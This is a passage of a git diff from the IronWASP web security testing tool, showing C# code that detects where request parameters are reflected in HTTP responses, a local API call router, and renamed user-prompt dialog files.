List(); + foreach (string Value in SubParametervalues) + { + Reflection RefResult = GetReflections(Value, ResString); + if (RefResult.Count > 0) + { + RefResult.Name = Name; + RefResult.Value = Value; + RefResult.Section = "Cookie"; + CookieReflections.Add(RefResult); + } + } + } + + //check if any Header parameters are being reflected + foreach (string Name in IrSe.Request.Headers.GetNames()) + { + List SubParametervalues = IrSe.Request.Headers.GetAll(Name); + List ParameterResults = new List(); + foreach (string Value in SubParametervalues) + { + Reflection RefResult = GetReflections(Value, ResString); + if (RefResult.Count > 0) + { + RefResult.Name = Name; + RefResult.Value = Value; + RefResult.Section = "Header"; + HeaderReflections.Add(RefResult); + } + } + } + + TotalReflections = UrlReflections.Count + UrlPathPartReflections.Count + QueryReflections.Count + BodyReflections.Count + CookieReflections.Count + HeaderReflections.Count; + + AllReflections.Url = UrlReflections; + AllReflections.UrlPathPart = UrlPathPartReflections; + AllReflections.Query = QueryReflections; + AllReflections.Body = BodyReflections; + AllReflections.Cookie = CookieReflections; + AllReflections.Header = HeaderReflections; + + return AllReflections; + } + + public static string CheckReflections(Session IrSe) + { + Reflections AllReflections = GetAllReflections(IrSe); + return CheckReflections(AllReflections); + } + + public static string CheckReflections(Reflections AllReflections) + { + StringBuilder Result = new StringBuilder(); + if (AllReflections.Count == 0) return Result.ToString(); + + int TotalReflections = 0; + + List UrlReflections = AllReflections.Url; + List UrlPathPartReflections = AllReflections.UrlPathPart; + List QueryReflections = AllReflections.Query; + List BodyReflections = AllReflections.Body; + List CookieReflections = AllReflections.Cookie; + List HeaderReflections = AllReflections.Header; + + + TotalReflections = UrlReflections.Count + UrlPathPartReflections.Count + QueryReflections.Count + BodyReflections.Count + CookieReflections.Count + HeaderReflections.Count; + + Result.Append(">Total Reflections: "); Result.Append(TotalReflections.ToString()); Result.Append("> | "); + + if (UrlReflections.Count > 0) + { + Result.Append("> URL : "); Result.Append(UrlReflections.Count.ToString()); Result.Append("> | "); + } + if (UrlPathPartReflections.Count > 0) + { + Result.Append("> URL Path : "); Result.Append(UrlPathPartReflections.Count.ToString()); Result.Append("> | "); + } + if (QueryReflections.Count > 0) + { + Result.Append("> Query : "); Result.Append(QueryReflections.Count.ToString()); Result.Append("> | "); + } + if (BodyReflections.Count > 0) + { + Result.Append("> Body : "); Result.Append(BodyReflections.Count.ToString()); Result.Append("> | "); + } + if (CookieReflections.Count > 0) + { + Result.Append("> Cookie : "); Result.Append(CookieReflections.Count.ToString()); Result.Append("> | "); + } + if (HeaderReflections.Count > 0) + { + Result.Append("> Headers : "); Result.Append(HeaderReflections.Count.ToString()); Result.Append("> | "); + } + + Result.Append(">"); + + Dictionary> OrderedReflections = new Dictionary>(); + + foreach (List ReflectionList in AllReflections.GetList()) + { + foreach (Reflection Refl in ReflectionList) + { + if (OrderedReflections.ContainsKey(Refl.Length)) + OrderedReflections[Refl.Length].Add(Refl); + else + OrderedReflections.Add(Refl.Length, new List() { Refl }); + } + } + + List LengthOrder = new List(OrderedReflections.Keys); + LengthOrder.Sort(); + for (int i = LengthOrder.Count - 1; i >= 0; i--) + { + int Length = LengthOrder[i]; + foreach (Reflection Refl in OrderedReflections[Length]) + { + Result.Append(">>"); + Result.Append(">Section:> "); Result.Append(Refl.Section); Result.Append(" | >Parameter:> "); Result.Append(Refl.Name); Result.Append(" | >Count:> "); Result.Append(Refl.Count.ToString()); Result.Append(" | >Value:>> "); Result.Append(Refl.Value); Result.Append(">"); + foreach (string R in Refl.GetReflections()) + { + Result.Append("> "); Result.Append(R); + } + } + } + return Result.ToString(); + } + + //public static Reflection GetReflections(string Input, Response Res) + //{ + // List Results = new List(); + // string ResString = Res.ToString(); + // return GetReflections(Input, ResString); + //} + + public static Reflection GetReflections(string Input, string ResString) + { + List Variations = new List(); + Variations.Add(Input); + Variations.Add(Input.ToLower()); + Variations.Add(Input.ToUpper()); + Variations.Add(Tools.UrlEncode(Input)); + Variations.Add(Tools.UrlPathEncode(Input)); + Variations.Add(Tools.HtmlEncode(Input)); + Variations.Add(Tools.XmlEncode(Input)); + Variations.Add(Tools.JsonEncode(Input)); + Variations.Add(Tools.RelaxedUrlEncode(Input)); + Variations.Add(Tools.UrlUnicodeEncode(Input)); + Variations.Add(Input.Replace("\"", "\\\"")); + Variations.Add(Input.Replace("'", "\\\'")); + + Dictionary TempDict = new Dictionary(); + foreach (string V in Variations) + { + TempDict[V] = 0; + } + Variations = new List(TempDict.Keys); + + + Reflection Result = new Reflection("", Input, ""); + foreach (string V in Variations) + { + Reflection Ref = GetReflectionsFor(V, ResString); + if (Ref.Count > 0) + { + foreach (string RefStr in Ref.GetReflections()) + { + //Result.Add(RefStr.Replace(V, string.Format(">{0}>", V))); + Result.Add(RefStr); + } + } + } + return Result; + } + + public static Reflection GetReflectionsFor(string Input, string ResString) + { + Reflection Results = new Reflection("", Input, ""); + if (Input.Length == 0 || !ResString.Contains(Input)) return Results; + + //string Pattern = String.Format(@"\W{0}\W", Input.Replace("\\", "\\\\").Replace(".", "\\.").Replace("$", "\\$").Replace("^", "\\^").Replace("*", "\\*").Replace("|", "\\|").Replace("+", "\\+").Replace("?", "\\?").Replace("{", "\\{").Replace("}", "\\}").Replace("[", "\\[").Replace("]", "\\]").Replace("(", "\\(").Replace(")", "\\)")); + //string Pattern = String.Format(@"\W{0}\W", Regex.Escape(Input)); + Regex Reg = new Regex(String.Format(@"\W{0}\W", Regex.Escape(Input)), RegexOptions.Multiline | RegexOptions.IgnoreCase | RegexOptions.IgnorePatternWhitespace); + + MatchCollection MatchResults = Reg.Matches(ResString); + //MatchCollection MatchResults = Regex.Matches(ResString, Pattern, RegexOptions.Multiline | RegexOptions.IgnoreCase | RegexOptions.IgnorePatternWhitespace); + foreach (Match M in MatchResults) + { + if (M.Success) + { + int SubStringStart = M.Index - 20; + int SubStringLength = 0; + if (SubStringStart < 0) + { + SubStringStart = 0; + SubStringLength = SubStringStart + M.Length + 20; + } + else + { + SubStringLength = M.Length + 40; + } + string Substring = ""; + + if (SubStringStart + SubStringLength >= ResString.Length) + Substring = ResString.Substring(SubStringStart); + else + Substring = ResString.Substring(SubStringStart, SubStringLength); + + Substring = Substring.Replace(M.Value, M.Value.Replace(Input, string.Format(">{0}>", Input))); + + Results.Add(Substring); + } + } + return Results; + } + } +} diff --git a/Iron/ApiCallHandler.cs b/Iron/ApiCallHandler.cs new file mode 100644 index 0000000..4c54a1b --- /dev/null +++ b/Iron/ApiCallHandler.cs @@ -0,0 +1,150 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class ApiCallHandler + { + static int ProxyLogRangeStart = 0; + static int ProxyLogRangeEnd = 0; + + public const string CoreApiUrlStart = "/ironwasp/api/core/"; + public const string CustomApiUrlStart = "/ironwasp/api/custom/"; + + static Dictionary CoreCallHandlers = new Dictionary(StringComparer.OrdinalIgnoreCase); + static Dictionary CustomCallHandlers = new Dictionary(StringComparer.OrdinalIgnoreCase); + + internal static void Handle(Fiddler.Session Sess) + { + Session IrSe = new Session(Sess); + Response Res = new Response("HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK"); + Res.Headers.Set("Access-Control-Allow-Origin", "*"); + + string ApiUrl = IrSe.Request.UrlPath.Substring(14); + bool MatchFound = false; + if (ApiUrl.StartsWith("core/", StringComparison.OrdinalIgnoreCase)) + { + ApiUrl = ApiUrl.Substring(5); + if (CoreCallHandlers.ContainsKey(ApiUrl)) + { + MatchFound = true; + try + { + CoreCallHandlers[ApiUrl](IrSe.Request, Res); + } + catch(Exception Exp) + { + Res.BodyString = string.Format("Error executing API call.\r\nError details:\r\n{0}\r\n{1}", Exp.Message, Exp.StackTrace); + } + } + } + else if (ApiUrl.StartsWith("custom/", StringComparison.OrdinalIgnoreCase)) + { + ApiUrl = ApiUrl.Substring(7); + if (CustomCallHandlers.ContainsKey(ApiUrl)) + { + MatchFound = true; + try + { + CustomCallHandlers[ApiUrl](IrSe.Request, Res); + } + catch (Exception Exp) + { + Res.BodyString = string.Format("Error executing API call.\r\nError details:\r\n{0}\r\n{1}", Exp.Message, Exp.StackTrace); + } + } + } + if (!MatchFound) + { + StringBuilder SB = new StringBuilder(); + SB.AppendLine("No API call handler registered for this URL"); + SB.AppendLine(); + SB.AppendLine("The following are the registered URLs:"); + foreach (string Url in CoreCallHandlers.Keys) + { + SB.Append(CoreApiUrlStart); SB.AppendLine(Url); + } + Res.BodyString = SB.ToString(); + foreach (string Url in CustomCallHandlers.Keys) + { + SB.Append(CustomApiUrlStart); SB.AppendLine(Url); + } + Res.BodyString = SB.ToString(); + } + + + //switch (ApiUrl) + //{ + // case("LogRangeStart"): + // ProxyLogRangeStart = Config.LastProxyLogId; + // ProxyLogRangeEnd = 0; + // break; + // case ("LogRangeEnd"): + // ProxyLogRangeEnd = Config.LastProxyLogId; + // break; + // case ("ScanLogRange"): + // break; + // default: + // if (CustomCallHandlers.ContainsKey(ApiUrl)) + // { + // CustomCallHandlers[ApiUrl](IrSe.Request, Res); + // } + // else + // { + // } + // break; + //} + Sess.utilCreateResponseAndBypassServer(); + Sess.oResponse.headers.AssignFromString(Res.GetHeadersAsString()); + Sess.responseBodyBytes = Res.BodyArray; + } + + //Python: + //ApiCallHandler.AddHandler("123", pyer) + + //Ruby: + //lll = lambda{|req, res| rrer(req, res)} + //ApiCallHandler.AddHandler("123", lll) + + public delegate void ApiCallHandlerMethod(Request Req, Response Res); + + internal static void AddCoreHandler(string Url, ApiCallHandlerMethod Method) + { + if (Url.StartsWith("/")) + { + Url = Url.TrimStart('/'); + } + if (CoreCallHandlers.ContainsKey(Url)) + { + throw new Exception("This API URL is already registered, try another one."); + } + else + { + lock (CoreCallHandlers) + { + CoreCallHandlers[Url] = Method; + } + } + } + + public static void AddHandler(string Url, ApiCallHandlerMethod Method) + { + if (Url.StartsWith("/")) + { + Url = Url.TrimStart('/'); + } + if (CustomCallHandlers.ContainsKey(Url)) + { + throw new Exception("This API URL is already registered, try another one."); + } + else + { + lock (CustomCallHandlers) + { + CustomCallHandlers[Url] = Method; + } + } + } + } +} diff --git a/IronWASP/AskUser.cs b/Iron/AskUser.cs similarity index 96% rename from IronWASP/AskUser.cs rename to Iron/AskUser.cs index 7322c59..937e9c5 100644 --- a/IronWASP/AskUser.cs +++ b/Iron/AskUser.cs @@ -1,166 +1,166 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Threading; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class AskUser - { - static Queue AskUserQueue = new Queue(); - - internal ManualResetEvent MSR = new ManualResetEvent(false); - - internal string Title = ""; - internal string Message = ""; - internal string ImageFileLocation = ""; - internal List List = new List(); - internal string RBOne = ""; - internal string RBTwo = ""; - internal string Label = ""; - internal string ReturnType = ""; - internal bool BoolAnswer = false; - internal string StringAnswer = ""; - internal List ListAnswer = new List(); - - internal static AskUser CurrentlyAsked; - internal static bool AskUserWindowFree = true; - - - internal static int QueueLength - { - get - { - lock (AskUserQueue) - { - return AskUserQueue.Count; - } - } - } - - internal AskUser(string Title, string Message, string ReturnType) - { - this.Title = Title; - this.Message = Message; - this.ReturnType = ReturnType; - } - - internal AskUser(string Title, string Message, string ImageFileLocation, string ReturnType) - { - this.Title = Title; - this.Message = Message; - this.ImageFileLocation = ImageFileLocation; - this.ReturnType = ReturnType; - } - - internal AskUser(string Title, string Message, List List, string ReturnType) - { - this.Title = Title; - this.Message = Message; - this.List = new List(List); - this.ReturnType = ReturnType; - } - - internal AskUser(string Title, string Message, string RBOne, string RBTwo, string Label, List List, string ReturnType) - { - this.Title = Title; - this.Message = Message; - this.RBOne = RBOne; - this.RBTwo = RBTwo; - this.Label = Label; - this.List = new List(List); - this.ReturnType = ReturnType; - } - - public static bool ForBool(string Title, string Message) - { - AskUser AU = new AskUser(Title, Message, "Bool"); - AU.Ask(); - return AU.BoolAnswer; - } - - public static string ForString(string Title, string Message) - { - AskUser AU = new AskUser(Title, Message, "String"); - AU.Ask(); - return AU.StringAnswer; - } - - public static string ForString(string Title, string Message, string ImageFileLocation) - { - AskUser AU = new AskUser(Title, Message, ImageFileLocation, "String"); - AU.Ask(); - return AU.StringAnswer; - } - - public static List ForListValues(string Title, string Message, List List) - { - List ResultList = new List(); - List Positions = ForList(Title, Message, List); - foreach (int Position in Positions) - { - ResultList.Add(List[Position]); - } - return ResultList; - } - - public static List ForList(string Title, string Message, List List) - { - AskUser AU = new AskUser(Title, Message, List, "List"); - AU.Ask(); - return AU.ListAnswer; - } - - public static List ForList(string Title, string Message, string RBOne, string RBTwo, string Label, List List) - { - AskUser AU = new AskUser(Title, Message, RBOne, RBTwo, Label, List, "List"); - AU.Ask(); - return AU.ListAnswer; - } - - internal void Ask() - { - lock (AskUserQueue) - { - AskUserQueue.Enqueue(this); - } - IronUI.AskUser(); - MSR.WaitOne(); - } - - internal static AskUser GetNext() - { - try - { - AskUser AU; - lock (AskUserQueue) - { - AU = AskUserQueue.Dequeue(); - } - return AU; - } - catch - { - return null; - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Threading; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class AskUser + { + static Queue AskUserQueue = new Queue(); + + internal ManualResetEvent MSR = new ManualResetEvent(false); + + internal string Title = ""; + internal string Message = ""; + internal string ImageFileLocation = ""; + internal List List = new List(); + internal string RBOne = ""; + internal string RBTwo = ""; + internal string Label = ""; + internal string ReturnType = ""; + internal bool BoolAnswer = false; + internal string StringAnswer = ""; + internal List ListAnswer = new List(); + + internal static AskUser CurrentlyAsked; + internal static bool AskUserWindowFree = true; + + + internal static int QueueLength + { + get + { + lock (AskUserQueue) + { + return AskUserQueue.Count; + } + } + } + + internal AskUser(string Title, string Message, string ReturnType) + { + this.Title = Title; + this.Message = Message; + this.ReturnType = ReturnType; + } + + internal AskUser(string Title, string Message, string ImageFileLocation, string ReturnType) + { + this.Title = Title; + this.Message = Message; + this.ImageFileLocation = ImageFileLocation; + this.ReturnType = ReturnType; + } + + internal AskUser(string Title, string Message, List List, string ReturnType) + { + this.Title = Title; + this.Message = Message; + this.List = new List(List); + this.ReturnType = ReturnType; + } + + internal AskUser(string Title, string Message, string RBOne, string RBTwo, string Label, List List, string ReturnType) + { + this.Title = Title; + this.Message = Message; + this.RBOne = RBOne; + this.RBTwo = RBTwo; + this.Label = Label; + this.List = new List(List); + this.ReturnType = ReturnType; + } + + public static bool ForBool(string Title, string Message) + { + AskUser AU = new AskUser(Title, Message, "Bool"); + AU.Ask(); + return AU.BoolAnswer; + } + + public static string ForString(string Title, string Message) + { + AskUser AU = new AskUser(Title, Message, "String"); + AU.Ask(); + return AU.StringAnswer; + } + + public static string ForString(string Title, string Message, string ImageFileLocation) + { + AskUser AU = new AskUser(Title, Message, ImageFileLocation, "String"); + AU.Ask(); + return AU.StringAnswer; + } + + public static List ForListValues(string Title, string Message, List List) + { + List ResultList = new List(); + List Positions = ForList(Title, Message, List); + foreach (int Position in Positions) + { + ResultList.Add(List[Position]); + } + return ResultList; + } + + public static List ForList(string Title, string Message, List List) + { + AskUser AU = new AskUser(Title, Message, List, "List"); + AU.Ask(); + return AU.ListAnswer; + } + + public static List ForList(string Title, string Message, string RBOne, string RBTwo, string Label, List List) + { + AskUser AU = new AskUser(Title, Message, RBOne, RBTwo, Label, List, "List"); + AU.Ask(); + return AU.ListAnswer; + } + + internal void Ask() + { + lock (AskUserQueue) + { + AskUserQueue.Enqueue(this); + } + IronUI.AskUser(); + MSR.WaitOne(); + } + + internal static AskUser GetNext() + { + try + { + AskUser AU; + lock (AskUserQueue) + { + AU = AskUserQueue.Dequeue(); + } + return AU; + } + catch + { + return null; + } + } + } +} diff --git a/IronWASP/AskUserWindow.Designer.cs b/Iron/AskUserWindow.Designer.cs similarity index 96% rename from IronWASP/AskUserWindow.Designer.cs rename to Iron/AskUserWindow.Designer.cs index cf5842d..b073555 100644 --- a/IronWASP/AskUserWindow.Designer.cs +++ b/Iron/AskUserWindow.Designer.cs @@ -1,304 +1,304 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class AskUserWindow - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(AskUserWindow)); - this.AskUserBaseSplit = new System.Windows.Forms.SplitContainer(); - this.AskUserMessageRTB = new System.Windows.Forms.RichTextBox(); - this.AskUserRightSplit = new System.Windows.Forms.SplitContainer(); - this.AskUserPB = new System.Windows.Forms.PictureBox(); - this.AskUserAnswerLbl = new System.Windows.Forms.Label(); - this.AskUserAnswerRBTwo = new System.Windows.Forms.RadioButton(); - this.AskUserAnswerRBOne = new System.Windows.Forms.RadioButton(); - this.AskUserAnswerGrid = new System.Windows.Forms.DataGridView(); - this.AskUserGridCheckColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.AskUserGridValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.AskUserSubmitBtn = new System.Windows.Forms.Button(); - this.AskUserNoBtn = new System.Windows.Forms.Button(); - this.AskUserYesBtn = new System.Windows.Forms.Button(); - this.AskUserAnswerTB = new System.Windows.Forms.TextBox(); - this.AskUserBaseSplit.Panel1.SuspendLayout(); - this.AskUserBaseSplit.Panel2.SuspendLayout(); - this.AskUserBaseSplit.SuspendLayout(); - this.AskUserRightSplit.Panel1.SuspendLayout(); - this.AskUserRightSplit.Panel2.SuspendLayout(); - this.AskUserRightSplit.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.AskUserPB)).BeginInit(); - ((System.ComponentModel.ISupportInitialize)(this.AskUserAnswerGrid)).BeginInit(); - this.SuspendLayout(); - // - // AskUserBaseSplit - // - this.AskUserBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.AskUserBaseSplit.Location = new System.Drawing.Point(0, 0); - this.AskUserBaseSplit.Name = "AskUserBaseSplit"; - this.AskUserBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // AskUserBaseSplit.Panel1 - // - this.AskUserBaseSplit.Panel1.Controls.Add(this.AskUserMessageRTB); - // - // AskUserBaseSplit.Panel2 - // - this.AskUserBaseSplit.Panel2.Controls.Add(this.AskUserRightSplit); - this.AskUserBaseSplit.Size = new System.Drawing.Size(784, 312); - this.AskUserBaseSplit.SplitterDistance = 151; - this.AskUserBaseSplit.SplitterWidth = 2; - this.AskUserBaseSplit.TabIndex = 0; - // - // AskUserMessageRTB - // - this.AskUserMessageRTB.BackColor = System.Drawing.Color.White; - this.AskUserMessageRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.AskUserMessageRTB.DetectUrls = false; - this.AskUserMessageRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.AskUserMessageRTB.Location = new System.Drawing.Point(0, 0); - this.AskUserMessageRTB.Name = "AskUserMessageRTB"; - this.AskUserMessageRTB.ReadOnly = true; - this.AskUserMessageRTB.Size = new System.Drawing.Size(784, 151); - this.AskUserMessageRTB.TabIndex = 0; - this.AskUserMessageRTB.Text = ""; - // - // AskUserRightSplit - // - this.AskUserRightSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.AskUserRightSplit.Location = new System.Drawing.Point(0, 0); - this.AskUserRightSplit.Name = "AskUserRightSplit"; - // - // AskUserRightSplit.Panel1 - // - this.AskUserRightSplit.Panel1.Controls.Add(this.AskUserPB); - // - // AskUserRightSplit.Panel2 - // - this.AskUserRightSplit.Panel2.Controls.Add(this.AskUserAnswerLbl); - this.AskUserRightSplit.Panel2.Controls.Add(this.AskUserAnswerRBTwo); - this.AskUserRightSplit.Panel2.Controls.Add(this.AskUserAnswerRBOne); - this.AskUserRightSplit.Panel2.Controls.Add(this.AskUserAnswerGrid); - this.AskUserRightSplit.Panel2.Controls.Add(this.AskUserSubmitBtn); - this.AskUserRightSplit.Panel2.Controls.Add(this.AskUserNoBtn); - this.AskUserRightSplit.Panel2.Controls.Add(this.AskUserYesBtn); - this.AskUserRightSplit.Panel2.Controls.Add(this.AskUserAnswerTB); - this.AskUserRightSplit.Size = new System.Drawing.Size(784, 159); - this.AskUserRightSplit.SplitterDistance = 385; - this.AskUserRightSplit.SplitterWidth = 2; - this.AskUserRightSplit.TabIndex = 0; - // - // AskUserPB - // - this.AskUserPB.Dock = System.Windows.Forms.DockStyle.Fill; - this.AskUserPB.Location = new System.Drawing.Point(0, 0); - this.AskUserPB.Name = "AskUserPB"; - this.AskUserPB.Size = new System.Drawing.Size(385, 159); - this.AskUserPB.TabIndex = 0; - this.AskUserPB.TabStop = false; - // - // AskUserAnswerLbl - // - this.AskUserAnswerLbl.AutoSize = true; - this.AskUserAnswerLbl.Location = new System.Drawing.Point(0, 44); - this.AskUserAnswerLbl.Margin = new System.Windows.Forms.Padding(0); - this.AskUserAnswerLbl.Name = "AskUserAnswerLbl"; - this.AskUserAnswerLbl.Size = new System.Drawing.Size(96, 13); - this.AskUserAnswerLbl.TabIndex = 7; - this.AskUserAnswerLbl.Text = "AskUserAnswerLbl"; - // - // AskUserAnswerRBTwo - // - this.AskUserAnswerRBTwo.AutoSize = true; - this.AskUserAnswerRBTwo.Location = new System.Drawing.Point(0, 22); - this.AskUserAnswerRBTwo.Name = "AskUserAnswerRBTwo"; - this.AskUserAnswerRBTwo.Size = new System.Drawing.Size(46, 17); - this.AskUserAnswerRBTwo.TabIndex = 6; - this.AskUserAnswerRBTwo.TabStop = true; - this.AskUserAnswerRBTwo.Text = "Two"; - this.AskUserAnswerRBTwo.UseVisualStyleBackColor = true; - this.AskUserAnswerRBTwo.Click += new System.EventHandler(this.AskUserAnswerRBTwo_Click); - // - // AskUserAnswerRBOne - // - this.AskUserAnswerRBOne.AutoSize = true; - this.AskUserAnswerRBOne.Location = new System.Drawing.Point(0, 2); - this.AskUserAnswerRBOne.Margin = new System.Windows.Forms.Padding(0); - this.AskUserAnswerRBOne.Name = "AskUserAnswerRBOne"; - this.AskUserAnswerRBOne.Size = new System.Drawing.Size(45, 17); - this.AskUserAnswerRBOne.TabIndex = 5; - this.AskUserAnswerRBOne.TabStop = true; - this.AskUserAnswerRBOne.Text = "One"; - this.AskUserAnswerRBOne.UseVisualStyleBackColor = true; - // - // AskUserAnswerGrid - // - this.AskUserAnswerGrid.AllowUserToAddRows = false; - this.AskUserAnswerGrid.AllowUserToDeleteRows = false; - this.AskUserAnswerGrid.AllowUserToResizeColumns = false; - this.AskUserAnswerGrid.AllowUserToResizeRows = false; - this.AskUserAnswerGrid.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.AskUserAnswerGrid.BackgroundColor = System.Drawing.Color.White; - this.AskUserAnswerGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.AskUserAnswerGrid.ColumnHeadersVisible = false; - this.AskUserAnswerGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.AskUserGridCheckColumn, - this.AskUserGridValueColumn}); - this.AskUserAnswerGrid.Location = new System.Drawing.Point(0, 57); - this.AskUserAnswerGrid.Margin = new System.Windows.Forms.Padding(0); - this.AskUserAnswerGrid.MultiSelect = false; - this.AskUserAnswerGrid.Name = "AskUserAnswerGrid"; - this.AskUserAnswerGrid.RowHeadersVisible = false; - this.AskUserAnswerGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.AskUserAnswerGrid.Size = new System.Drawing.Size(397, 67); - this.AskUserAnswerGrid.TabIndex = 4; - this.AskUserAnswerGrid.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.AskUserAnswerGrid_CellContentClick); - // - // AskUserGridCheckColumn - // - this.AskUserGridCheckColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCellsExceptHeader; - this.AskUserGridCheckColumn.HeaderText = ""; - this.AskUserGridCheckColumn.Name = "AskUserGridCheckColumn"; - this.AskUserGridCheckColumn.Width = 5; - // - // AskUserGridValueColumn - // - this.AskUserGridValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.AskUserGridValueColumn.HeaderText = ""; - this.AskUserGridValueColumn.Name = "AskUserGridValueColumn"; - this.AskUserGridValueColumn.ReadOnly = true; - // - // AskUserSubmitBtn - // - this.AskUserSubmitBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.AskUserSubmitBtn.Location = new System.Drawing.Point(316, 133); - this.AskUserSubmitBtn.Name = "AskUserSubmitBtn"; - this.AskUserSubmitBtn.Size = new System.Drawing.Size(75, 23); - this.AskUserSubmitBtn.TabIndex = 3; - this.AskUserSubmitBtn.Text = "Submit"; - this.AskUserSubmitBtn.UseVisualStyleBackColor = true; - this.AskUserSubmitBtn.Click += new System.EventHandler(this.AskUserSubmitBtn_Click); - // - // AskUserNoBtn - // - this.AskUserNoBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.AskUserNoBtn.Location = new System.Drawing.Point(232, 133); - this.AskUserNoBtn.Name = "AskUserNoBtn"; - this.AskUserNoBtn.Size = new System.Drawing.Size(75, 23); - this.AskUserNoBtn.TabIndex = 2; - this.AskUserNoBtn.Text = "No"; - this.AskUserNoBtn.UseVisualStyleBackColor = true; - this.AskUserNoBtn.Click += new System.EventHandler(this.AskUserNoBtn_Click); - // - // AskUserYesBtn - // - this.AskUserYesBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.AskUserYesBtn.Location = new System.Drawing.Point(149, 133); - this.AskUserYesBtn.Name = "AskUserYesBtn"; - this.AskUserYesBtn.Size = new System.Drawing.Size(75, 23); - this.AskUserYesBtn.TabIndex = 1; - this.AskUserYesBtn.Text = "Yes"; - this.AskUserYesBtn.UseVisualStyleBackColor = true; - this.AskUserYesBtn.Click += new System.EventHandler(this.AskUserYesBtn_Click); - // - // AskUserAnswerTB - // - this.AskUserAnswerTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.AskUserAnswerTB.BackColor = System.Drawing.Color.White; - this.AskUserAnswerTB.Location = new System.Drawing.Point(0, 0); - this.AskUserAnswerTB.Margin = new System.Windows.Forms.Padding(0); - this.AskUserAnswerTB.MaxLength = 2147483647; - this.AskUserAnswerTB.Multiline = true; - this.AskUserAnswerTB.Name = "AskUserAnswerTB"; - this.AskUserAnswerTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.AskUserAnswerTB.Size = new System.Drawing.Size(397, 129); - this.AskUserAnswerTB.TabIndex = 0; - // - // AskUserWindow - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(784, 312); - this.Controls.Add(this.AskUserBaseSplit); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Location = new System.Drawing.Point(50, 50); - this.Name = "AskUserWindow"; - this.StartPosition = System.Windows.Forms.FormStartPosition.Manual; - this.Text = "0/0"; - this.TopMost = true; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.AskUserWindow_FormClosing); - this.AskUserBaseSplit.Panel1.ResumeLayout(false); - this.AskUserBaseSplit.Panel2.ResumeLayout(false); - this.AskUserBaseSplit.ResumeLayout(false); - this.AskUserRightSplit.Panel1.ResumeLayout(false); - 